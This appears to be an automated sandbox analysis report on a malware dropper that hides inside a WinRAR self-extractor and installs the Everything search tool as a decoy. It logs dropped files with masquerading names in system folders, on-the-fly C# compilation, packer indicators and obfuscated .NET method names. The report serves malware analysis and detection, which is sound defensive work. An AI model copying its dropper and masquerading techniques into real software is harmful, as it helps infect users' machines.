Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll

Source: C:\Users\user\AppData\Local\Temp\sqls211.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Everything.lnk.7.dr	LNK file: ..\..\..\..\..\Program Files\Everything\Everything.exe
Source: Everything.lnk0.7.dr	LNK file: ..\..\..\Program Files\Everything\Everything.exe

Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe

File written: C:\Users\user\AppData\Local\Temp\nss476A.tmp\InstallOptions.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Automated click: I Agree
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Automated click: Install
Source: C:\Windows\System32\conhost.exe	Automated click: OK
Source: C:\Windows\System32\conhost.exe	Automated click: I Agree
Source: C:\Windows\System32\conhost.exe	Automated click: Next >
Source: C:\Windows\System32\conhost.exe	Automated click: Next >
Source: C:\Windows\System32\conhost.exe	Automated click: Install

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Window detected: I &AgreeCancelEverything 1.4.1.1024 (x64) Setup Everything 1.4.1.1024 (x64) SetupLicense AgreementPlease review the license terms before installing Everything.Press Page Down to see the rest of the agreement.EverythingCopyright (c) 2023 voidtoolsPermission is hereby granted free of charge to any person obtaining a copy of this software and associated documentation files (the "Software") to deal in the Software without restriction including without limitation the rights to use copy modify merge publish distribute sublicense and/or sell copies of the Software and to permit persons to whom the Software is furnished to do so subject to the following conditions:The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.THE SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND EXPRESS OR IMPLIED INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM DAMAGES OR OTHER LIABILITY WHETHER IN AN ACTION OF CONTRACT TORT OR OTHERWISE ARISING FROM OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.Perl-Compatible Regular ExpressionsCopyright (c) 1997-2012 University of CambridgeRedistribution and use in source and binary forms with or without modification are permitted provided that the following conditions are met:* Redistributions of source code must retain the above copyright notice this list of conditions and the following disclaimer.* Redistributions in binary form must reproduce the above copyright notice this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.* Neither the name of the University of Cambridge nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT INDIRECT INCIDENTAL SPECIAL EXEMPLARY OR CONSEQUENTIAL DAMAGES (INCLUDING BUT NOT LIMITED TO PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE DATA OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY WHETHER IN CONTRACT STRICT LIABILITY OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.If you accept the terms of the agreement click I Agree to continue. You must accept the agreement to install Everything.
Source: C:\Windows\System32\conhost.exe	Window detected: I &AgreeCancelEverything 1.4.1.1024 (x64) Setup Everything 1.4.1.1024 (x64) SetupLicense AgreementPlease review the license terms before installing Everything.Press Page Down to see the rest of the agreement.EverythingCopyright (c) 2023 voidtoolsPermission is hereby granted free of charge to any person obtaining a copy of this software and associated documentation files (the "Software") to deal in the Software without restriction including without limitation the rights to use copy modify merge publish distribute sublicense and/or sell copies of the Software and to permit persons to whom the Software is furnished to do so subject to the following conditions:The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.THE SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND EXPRESS OR IMPLIED INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM DAMAGES OR OTHER LIABILITY WHETHER IN AN ACTION OF CONTRACT TORT OR OTHERWISE ARISING FROM OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.Perl-Compatible Regular ExpressionsCopyright (c) 1997-2012 University of CambridgeRedistribution and use in source and binary forms with or without modification are permitted provided that the following conditions are met:* Redistributions of source code must retain the above copyright notice this list of conditions and the following disclaimer.* Redistributions in binary form must reproduce the above copyright notice this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.* Neither the name of the University of Cambridge nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT INDIRECT INCIDENTAL SPECIAL EXEMPLARY OR CONSEQUENTIAL DAMAGES (INCLUDING BUT NOT LIMITED TO PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE DATA OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY WHETHER IN CONTRACT STRICT LIABILITY OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.If you accept the terms of the agreement click I Agree to continue. You must accept the agreement to install Everything.

Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Directory created: C:\Program Files\Everything	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Directory created: C:\Program Files\Everything\Everything.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Directory created: C:\Program Files\Everything\Changes.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Directory created: C:\Program Files\Everything\License.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Directory created: C:\Program Files\Everything\Everything.lng	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Directory created: C:\Program Files\Everything\Uninstall.exe	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Directory created: C:\Program Files\Everything\Everything.ini.tmp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Directory created: c:\Program Files\Everything\CSCA17046CBF8B64A188168A4AB380809F.TMP
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Directory created: c:\Program Files\Everything\Everything.exe

Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Everything

Jump to behavior

Source: wxl1r0lntg.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: wxl1r0lntg.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: wxl1r0lntg.exe

Static file information: File size 11304960 > 1048576

Source: C:\Users\user\Desktop\wxl1r0lntg.exe

File opened: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_88e266cb2fac7c0d\MSVCR80.dll

Jump to behavior

Source: wxl1r0lntg.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0xac5000

Source: wxl1r0lntg.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: wxl1r0lntg.exe, 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp, sqls211.exe, 00000002.00000000.2037410745.0000000000CF3000.00000002.00000001.01000000.00000006.sdmp, sqls211.exe, 00000002.00000003.2041272436.00000000064C1000.00000004.00000020.00020000.00000000.sdmp, sqls211.exe, 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmp, sqls211.exe, 00000002.00000003.2043048725.0000000004D43000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.pdb source: containerwebruntime.exe, 0000000E.00000002.2445359948.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\pgfcrwpp\pgfcrwpp.pdb source: containerwebruntime.exe, 0000000E.00000002.2445359948.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\dcil424w\dcil424w.pdb source: containerwebruntime.exe, 0000000E.00000002.2445359948.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb0 source: Everything.exe, 00000014.00000003.2341196360.00000000056F0000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2342771150.0000000005881000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb source: Everything.exe, 00000014.00000003.2341196360.00000000056F0000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2342771150.0000000005881000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.0000000005D51000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbl source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb, source: Everything.exe, 00000014.00000003.2331201128.0000000005D51000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, jCpXp0jZveeo1HIj1OD.cs

.Net Code: Type.GetTypeFromHandle(k9dqKXfCa42FxuEe0CP.c4CGwqcwPBu(16777424)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(k9dqKXfCa42FxuEe0CP.c4CGwqcwPBu(16777245)),Type.GetTypeFromHandle(k9dqKXfCa42FxuEe0CP.c4CGwqcwPBu(16777259))})

Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.cmdline"
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dcil424w\dcil424w.cmdline"
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pgfcrwpp\pgfcrwpp.cmdline"
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.cmdline"
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dcil424w\dcil424w.cmdline"
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pgfcrwpp\pgfcrwpp.cmdline"

Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe

Code function: 6_2_00007FF63D61DDE0 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

6_2_00007FF63D61DDE0

Source: C:\Users\user\AppData\Local\Temp\sqls211.exe

File created: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\__tmp_rar_sfx_access_check_4343828

Jump to behavior

Source: Uninstall.exe.3.dr	Static PE information: real checksum: 0x1d5127 should be: 0x253d3
Source: LangDLL.dll.3.dr	Static PE information: real checksum: 0x0 should be: 0x91a8
Source: containerwebruntime.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x1f6560
Source: sqls211.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x2497f8
Source: System.dll.3.dr	Static PE information: real checksum: 0x0 should be: 0x3d68
Source: Everything.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x5d3a
Source: Uninstall.exe.6.dr	Static PE information: real checksum: 0x1d5127 should be: 0x253d3
Source: KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe.14.dr	Static PE information: real checksum: 0x0 should be: 0x1f6560
Source: InstallOptions.dll.3.dr	Static PE information: real checksum: 0x0 should be: 0x7de9
Source: RuntimeBroker.exe.14.dr	Static PE information: real checksum: 0x0 should be: 0x1f6560

Source: sqls211.exe.0.dr

Static PE information: section name: .didat

Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CDF640 push ecx; ret	2_2_00CDF653
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CDEB78 push eax; ret	2_2_00CDEB96
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Code function: 14_2_00007FF848D24B8F push eax; retf	14_2_00007FF848D24B95
Source: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Code function: 69_2_00007FF848D04B8F push eax; retf	69_2_00007FF848D04B95
Source: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Code function: 69_2_00007FF848D2CF4C pushad ; ret	69_2_00007FF848D2CF4D
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Code function: 70_2_00007FF848D14B8F push eax; retf	70_2_00007FF848D14B95
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Code function: 70_2_00007FF848D3CF4C pushad ; ret	70_2_00007FF848D3CF4D
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Code function: 73_2_00007FF848D38148 push ebx; ret	73_2_00007FF848D3816A
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Code function: 73_2_00007FF848D38108 push ebx; ret	73_2_00007FF848D3816A
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Code function: 73_2_00007FF848D380F0 push ebx; ret	73_2_00007FF848D3816A
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Code function: 73_2_00007FF848D195B6 push esi; retf	73_2_00007FF848D195B9
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Code function: 73_2_00007FF848D2CF4C pushad ; ret	73_2_00007FF848D2CF4D
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Code function: 73_2_00007FF848D04B8F push eax; retf	73_2_00007FF848D04B95

Source: containerwebruntime.exe.2.dr	Static PE information: section name: .text entropy: 7.577226279253419
Source: KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe.14.dr	Static PE information: section name: .text entropy: 7.577226279253419
Source: RuntimeBroker.exe.14.dr	Static PE information: section name: .text entropy: 7.577226279253419

Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, qeuHZuGwwZ9OEfG27Z9.cs	High entropy of concatenated method names: 'lqpGUuiJDJ', 'aFiGdUbqXC', 'YFDGhuFZdP', 'fuuGr18LXX', 'YKgNKvRbSu2vWl4pS4Yt', 'HY0pa8Rbt0G8WCibPNGH', 'pmKyMvRbC6Ov5exngeOC', 'mZgqVsRbmq10XEn3vAtA', 'ixDV0ORbIhntTgmTZUw1'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, hT9twyRCXlrCO6BL0kY.cs	High entropy of concatenated method names: 'BBBRmDrlDh', 'w0dRIiPJTl', 'nKXRZrjxfJ', 'gXgDy9RLZjPgdp14CPDv', 'RCcpkmRLoyS4Qe4jiUWN', 'f8saYPRLpnCX95Kxi3xE', 'crHDedRLxQI2bWWqF6oy', 'Hr9htZRLiBR8j6Vtu4e4', 'pMRrC7RLYPVpEvdFtGds'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, FbsaNfxCS3UpuPFDGPo.cs	High entropy of concatenated method names: 'aXaxxkIcjk', 'TwV6NFRk7hApApiu5RZS', 'aTOpshRkMGyBBaVw35QJ', 'zo2mvmRkFyV4xB5xrMv0', 'hFTVTIRkOQjHHraSo8pp', 'd35xmysmHr', 'JZ3KPwRkV6RY4COaic7M', 'GbYlVrRkDrqBcLDWSfM7', 'DgSlKwRk8NncGvaPiw9e', 'NuySJxRkBNGZ8qSAUDfh'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, xfy06PRK2S6IU3G79VM.cs	High entropy of concatenated method names: 'P9X', 'I5IR0pOhxO', 'g0NRdTOqna0', 'imethod_0', 'xr7RjyGaDA', 'aR63EMRLjTBMbkajAll9', 'ag2y1ERLvgxDIZXmNSPN', 'KHB3k3RLECpxGgriAfrc', 'ya3VcsRL0ffGOThN4aMV', 'RwpWphRLfGlZWNL544iM'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, CLWoalK2nHr6905njYP.cs	High entropy of concatenated method names: 'method_0', 'h59', 'R73', 'lOMKltiVtk', 'yjZ7dcR01bseZVJZw6FC', 'n4GX2sR0Duv5xsbwnWt2', 'E8TvGoR08AuoijQiPvP2', 'Ahu4FUR0VnEpuX0oefoK', 'wJlMmsR0B20hWqWAhMA0', 'JGWkMkR0NRd0wOTM5AXC'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, OWo3O56eIKWaR7dVFdS.cs	High entropy of concatenated method names: 'zxm6tKJrai', 'OcY6CjfWj3', 'jng6SmauV8', 'T0g6mtqbCx', 'eKS6IhPE7J', 'LtW223RVCt4xBUKP2h5M', 'qE6KcGRVAbGi4KJHpb0U', 'Ydg8tkRVtvUDkQYOcrei', 'ig1pknRVSvqWL2VjWbBj', 'QOII7kRVm389sSKl3Jx6'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, VKd9s5fn7Z9i6vF76DM.cs	High entropy of concatenated method names: 'q4SRugV4eh3', 'VpRRulbjF8p', 'GyyRu4Sn9E6', 'emqRusbKqES', 'zn1Rucf1o43', 't2DRuq6sIfV', 'ALERu9MmDJS', 'jmCJwIA0sQ', 'oPXRunE385M', 'EK5RukyTupe'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, wiTAr9hC795iLUIB6Qt.cs	High entropy of concatenated method names: 'q76', 'method_0', 'p9e', 'hkB', 'method_1', 'method_2', 'nTLnkARsnyjSiWUXEaSO', 'zKdHb8Rsk381k9UnfidM', 'YRatXmRs3xVdxSiUQiFf', 'DUmq20Rs1clSFPenlCON'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, VcKpbIbVvR1LYB4rpHT.cs	High entropy of concatenated method names: 'X1wbNeyvMR', 'cWpbFkTMWL', 'FXObOuPZFb', 'dMnYkIRBqBiUGGjDjY4j', 'X6VrMgRB9chHvHst6UCW', 'n5KChuRBntxDEt338i7K', 'tcHK0hRBkDDlnRwZhRW4', 'rx3svmRB3tV5JYcDRx6f', 'O5f9b5RB1efEwtJoKXOd', 'd4MaRbRBDygPmqT1aKKv'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, HY3Rh6dLrUngIqhNr5n.cs	High entropy of concatenated method names: 'EIydQ1JRK0', 'wHfdXVAJkh', 'mnJd2bKeyU', 'vwndg23cjC', 'VaodlmgPgy', 'gDCd4FUIBV', 'vpwdAER4KUBfOqv3FqVg', 'CSABFSR4EqnCJtJQ1pQD', 'IiFFVdR40pxq97Qqwf3B', 't2bWx0R4jeHYtul8Dush'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, UQsQ1olOSrfhYBb2gdh.cs	High entropy of concatenated method names: 'KvSlME57Q1', 'k6r', 'ueK', 'QH3', 'MaZlKaVqK2', 'Flush', 'UgRlEEVKXg', 'evVl0Nkvbb', 'Write', 'weTljsVrLJ'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, paSXwpdYo82Ge65akBR.cs	High entropy of concatenated method names: 'maMdH3lSKD', 'Jvvd9dR4kAstm7KOVTXU', 'JrW0xaR43JJov4Yd5M8R', 'Fy5lnYR41FNjTRB5GQ7j', 'VRAsSgR4D3cLUj1AMcE7', 'FKB2RFR48vMfpsubhYDc', 'KR8qlsR49M0Ni87yZK9a', 'NO5q19R4n8wdB3BRsX65', 'CMH7OGR4VBZOeU2YpDIV'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, AA6C8rhGJOWKYZKWYnI.cs	High entropy of concatenated method names: 'IFMh5V0WK2', 'SvXhwZNZiO', 'FE5huQhtbO', 's6vhUXjDI3', 'VY3hdyQ3P8', 'q2khhOhCaF', 'Q0chrgBaGG', 'PvZheMRpqX', 'vxJhAd5a9e', 'MS0htkuYTd'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, R68m7un2CwBXnXKWZ0B.cs	High entropy of concatenated method names: 'VtOnlGoAMg', 'EqTn4ANSgs', 't4LnshdBxq', 'pO6ncKR3XI', 'Sj2nqajMYY', 'NGJn97SaEn', 'H29nnssauu', 'iRlnkVKqxL', 'lCKn3da7I3', 'N5wn1gcBr4'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, oLPoVxURj6u8SGEuM0R.cs	High entropy of concatenated method names: 'SP5UaQNgw8', 'TtnU5ql4wD', 'fDjUwH9dQ2', 'dBPR3ORld7TB38D3iljd', 'xhJoQsRluchhVIUnKZV6', 'jE9avrRlUm4kFIgFPJxZ', 'nqEf1NRlhfUvmuixZwBW', 'UHrDF6RlrHdrPMIfp7oP', 'SuKSnPRle3c4LEXQaPbr', 'er5IVMRlA470x8oGhJHV'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, M61waZw7grKVqLaUHpo.cs	High entropy of concatenated method names: 'aVNwvRpOJE', 'MTBwfWMtx9', 'FePwJlVsyC', 'AVGwz7jYoI', 'j4ZuT9FsxR', 'kpMuR0y3Hm', 'xDZuGa6ibU', 'FE2J3nRgZonxISFqmDyk', 'dbT7mNRgoe5G2vGvTBuu', 'WfSucXRgmaEBh4EdZO4u'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, QbJE3FwmtDjv08ESvaN.cs	High entropy of concatenated method names: 'qxawL3hhtj', 'yQ9wb5saTY', 'CHZwQP9tUs', 'BnNEZXR2DffgSbrpQxwa', 'maFHjoR28hPY0IsquJ3P', 'z5AARmR23Xe77ZoihqmI', 'tAOOtcR21DZjFGobXpcD', 'BoAwHKYC4O', 'B4rwPdOXoI', 'UVREXcR2nNI3wUZlgeRC'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, bx4lYDuP9EfKMOyBVht.cs	High entropy of concatenated method names: 'eCLu2G1HAm', 'FBdDJWRgkahyIPIGauCL', 'AcxlOFRg9nLiq8uwywtM', 'dAM57YRgndfQdFblsEMS', 'PZcSUlRg3DM1qYJkOX8W', 'E94', 'P9X', 'vmethod_0', 'q6vR5xtTaTs', 'M7JRdhS3dgd'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, GcnAQeu3NuuMX7TjXF1.cs	High entropy of concatenated method names: 'JYku041ptM', 'nN6ujjieQI', 'FMguvIWQVU', 'rylaLTRlalMdPSjeA8yM', 'SbnWdQRl5PnUKHoivwvv', 'sG3jWZRlRCLtlFZeUBKb', 'SteOW6RlGpw8FU4v4fmW', 'MGduD1n1hU', 'GBtu8ofQkQ', 'zf1uVOsmEL'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, SYTk36QkTfYDr1ulPa9.cs	High entropy of concatenated method names: 'mL7Q1kHgWv', 'BFfQDXWe2R', 'ESoQ8yjQYu', 'dVuQV0nw4f', 'WceQBaLnxf', 'rJOQNVtgfT', 'SvjQFHyOI2', 'bqGQOfGHrF', 'pQ3Q7Wi3G2', 'SZlQMRkCDe'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, FQtZLXgiyIV9gpqIndy.cs	High entropy of concatenated method names: 'cQolC82Z1o', 'PDd2DXRON1eXbyjQUMoT', 'iXJimYROVoED1wMhQY8V', 'gRGv3yROBFa9W484xlhL', 'mfBYLVROFTI1Ze7NFbE6', 'kt5', 'g2jgWxUYgp', 'ReadByte', 'get_CanRead', 'get_CanSeek'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, UIOCGDw4STOKKvT0y6j.cs	High entropy of concatenated method names: 'l29', 'P9X', 'vmethod_0', 'gv4R5eOy9Kb', 'ra3wcW7wWv', 'imethod_0', 'kAiSZZR2BZ6YB3kcxTYi', 'CpHdTCR2NNgtX3tAqyGC', 'YA5bdWR2FIPVnbYnkOn9', 'Nj9UpZR2OXKIyyCbaiLN'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, f6Jwf4UpItG2KEqAyiS.cs	High entropy of concatenated method names: 'VgEUb6RMBk', 'eLIEn9Rl3quwPncWe5ge', 'rXdnrxRlns88MtSO5rC3', 'TIVLNnRlkQfbIsxdITR9', 'HU8kuaRl1lOHPLaxLjeK', 'OiTT2mRlDrFq9s9Y8O42', 'KNmUybRl81927h9MftOm', 'AryUifxeQW', 'icDUYsNBNr', 'h2lUWyuswe'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, ngDRGCDkkehTNyf9PH.cs	High entropy of concatenated method names: 'IndexOf', 'Insert', 'RemoveAt', 'get_Item', 'set_Item', 'method_2', 'Add', 'Clear', 'Contains', 'EAxVEaeE5'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, jAE4UDimH8HViU6dTep.cs	High entropy of concatenated method names: 'e2VcTBR1IANsd7ubYTSA', 'O8m3GiR1ZgdMQjGiNunk', 'WIxPUuR1o40n1UPaIW85', 'R81coDR1SBeADUvImGQe', 'lNfk4lR1m7snxuOsgL8l', 'method_0', 'method_1', 'FnOiZIxPTb', 'EFBioFVimO', 'o34ipiTbDl'
